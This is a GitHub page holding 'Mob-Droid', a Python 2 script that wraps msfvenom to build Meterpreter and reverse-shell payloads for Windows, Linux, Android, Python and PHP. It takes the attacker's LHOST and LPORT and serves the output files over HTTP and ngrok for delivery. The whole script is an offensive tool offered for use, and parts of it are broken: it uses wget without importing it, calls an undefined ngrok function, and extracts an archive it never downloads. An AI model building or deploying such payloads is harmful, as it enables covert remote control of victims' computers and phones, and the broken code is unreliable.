-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathmob-droid-termux.py
176 lines (167 loc) · 6.85 KB
/
mob-droid-termux.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#!/usr/bin/python
#-*- coding: utf-8 -*-
#Author Mohit Saran
#YouTube Hacker's King
#Instagram Kinghacker0
#Website hackersking.in
import os, platform
from SimpleHTTPServer import test
from sys import exit
from time import sleep
red= '\033[91m'
orange= '\33[38;5;208m'
green= '\033[92m'
cyan= '\033[36m'
bold= '\033[1m'
end= '\033[0m'
def head():
os.system('clear')
print'''{0}
▀▄ ▄▀
▄█▀███▀█▄
█▀███████▀█
█─█▀▀▀▀▀█─█
▀▀─▀▀
***** Mob-Droid *****
{2}Follow me :{3}
{1}•{3} GitHub : {4}https://github.com/kinghacker0{3}
{1}•{3} YouTube: {4}https://www.youtube.com/hackersking101{3}
{1}•{3} Website: {4}https://hackersking.in{3}
'''.format(orange, green, bold, end, cyan)
def finish():
head()
print('{0}Until next time...{1}').format(green, end)
exit(0)
def present():
if os.path.isfile('/data/data/com.termux/files/usr/bin/msfconsole') == False:
print('{0}Failed to locate msfvenom. Make sure Metasploit-Framework is installed correctly and try again.{1}').format(red, end)
exit(0)
if os.path.isdir('output') == False:
head()
print('{0}Creating output directory{1}').format(green, end)
os.makedirs('output')
sleep(1)
if os.path.isfile('ngrok') == False:
head()
print("{0}Downloading Ngrok...{1}").format(green, end)
if platform.architecture == "32bit":
wget.download('https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.tgz')
os.system('tar -xf ngrok-stable-linux-386.tgz')
os.system('rm ngrok-stable-linux-386.tgz')
else:
os.system('tar -xf ngrok-stable-linux-amd64.tgz')
os.system('rm ngrok-stable-linux-amd64.tgz')
def server():
os.system('cd output/ && python -m SimpleHTTPServer 80')
def main(platform, type):
lhost = raw_input("\nEnter your LHOST\n{0}{1}Mob-Droid:~/LHOST#{2} ".format(green, bold, end))
lport = raw_input("\nEnter your LPORT\n{0}{1}Mob-Droid:~/LPORT#{2} ".format(green, bold, end))
output = raw_input("\nEnter the name of output file\n{0}{1}Mob-Droid:~/output#{2} ".format(green, bold, end))
#Windows
if platform == 'Windows' and type == '1':
payload= 'windows/meterpreter/reverse_http'
format= 'exe'
extension= '.exe'
if platform == 'Windows' and type == '2':
payload= 'windows/meterpreter/reverse_https'
format= 'exe'
extension= '.exe'
if platform == 'Windows' and type == '3':
payload= 'windows/meterpreter/reverse_tcp'
format= 'exe'
extension= '.exe'
#linux
if platform == 'Linux' and type == '1':
payload= 'linux/x86/shell/reverse_tcp'
format= 'elf'
extension= '.elf'
if platform == 'Linux' and type == '2':
payload= 'linux/x86/meterpreter/reverse_tcp'
format= 'elf'
extension= '.elf'
#Android
elif platform == 'Android' and type == '1':
payload= 'android/meterpreter/reverse_http'
format= 'raw'
extension= '.apk'
elif platform == 'Android' and type == '2':
payload= 'android/meterpreter/reverse_https'
format= 'raw'
extension= '.apk'
elif platform == 'Android' and type == '3':
payload= 'android/meterpreter/reverse_tcp'
format= 'raw'
extension= '.apk'
#Python
elif platform == 'Python' and type == '1':
payload= 'python/meterpreter/reverse_http'
format= 'raw'
extension= '.py'
elif platform == 'Python' and type == '2':
payload= 'python/meterpreter/reverse_https'
format= 'raw'
extension= '.py'
elif platform == 'Python' and type == '3':
payload= 'python/meterpreter/reverse_tcp'
format= 'raw'
extension= '.py'
#PHP
elif platform == 'PHP' and type == '1':
payload= 'php/meterpreter/reverse_tcp'
format= 'raw'
extension= '.php'
os.system('msfvenom -p '+payload+' LHOST='+lhost+' LPORT='+lport+' -f'+format+' -o output/'+output+extension)
sleep(3)
if os.path.isfile('output/'+output+extension) == False:
head()
raw_input('{2}Failed to create payload, please try again.{1} {0}(Hit Enter to continue){1}'.format(bold, end, red))
choosepayload()
def choosepayload():
head()
select = raw_input('{2}Choose a payload platform:{1}\n\n{0}[{1}1{0}]{1} Windows\n{0}[{1}2{0}]{1} Linux\n{0}[{1}3{0}]{1} Android\n{0}[{1}4{0}]{1} Python\n{0}[{1}5{0}]{1} PHP\n{0}[{1}0{0}]{1} Exit\n\n{0}{2}Mob-Droid:~#{1} '.format(green, end, bold))
if select == '1':
head()
type = raw_input('{2}Choose a payload type:{1}\n\n{0}[{1}1{0}]{1} windows/meterpreter/reverse_http\n{0}[{1}2{0}]{1} windows/meterpreter/reverse_https\n{0}[{1}3{0}]{1} windows/meterpreter/reverse_tcp\n{0}[{1}0{0}]{1} Main Menu\n\n{0}{2}Mob-Droid:~/Windows#{1} '.format(green, end, bold))
if type == '0':
choosepayload()
main('Windows', type)
elif select == '2':
head()
type = raw_input('{2}Choose a payload type:{1}\n\n{0}[{1}1{0}]{1} linux/x86/shell/reverse_tcp\n{0}[{1}2{0}]{1} linux/x86/meterpreter/reverse_tcp\n{0}[{1}0{0}]{1} Main Menu\n\n{0}{2}Mob-Droid:~/Linux#{1} '.format(green, end, bold))
if type == '0':
choosepayload()
main('Linux', type)
elif select == '3':
head()
type = raw_input('{2}Choose a payload type:{1}\n\n{0}[{1}1{0}]{1} android/meterpreter/reverse_http\n{0}[{1}2{0}]{1} android/meterpreter/reverse_https\n{0}[{1}3{0}]{1} android/meterpreter/reverse_tcp\n{0}[{1}0{0}]{1} Main Menu\n\n{0}{2}Mob-Droid:~/Android#{1} '.format(green, end, bold))
if type == '0':
choosepayload()
main('Android', type)
elif select == '4':
head()
type = raw_input('{2}Choose a payload type:{1}\n\n{0}[{1}1{0}]{1} python/meterpreter/reverse_http\n{0}[{1}2{0}]{1} python/meterpreter/reverse_https\n{0}[{1}3{0}]{1} python/meterpreter/reverse_tcp\n{0}[{1}0{0}]{1} Main Menu\n\n{0}{2}Mob-Droid:~/Python#{1} '.format(green, end, bold))
if type == '0':
choosepayload()
main('Python', type)
elif select == '5':
head()
type = raw_input('{2}Choose a payload type:{1}\n\n{0}[{1}1{0}]{1} php/meterprter/reverse_tcp\n{0}[{1}0{0}]{1} Main Menu\n\n{0}{2}Mob-Droid:~/PHP#{1} '.format(green, end, bold))
if type == '0':
choosepayload()
main('PHP', type)
elif select == '6':
ngrok()
elif select == '0':
finish()
else:
head()
print('{0}Please choose a valid option.{1}').format(red, end)
sleep(2)
choosepayload()
if __name__ == "__main__":
try:
head()
present()
choosepayload()
except KeyboardInterrupt:
finish()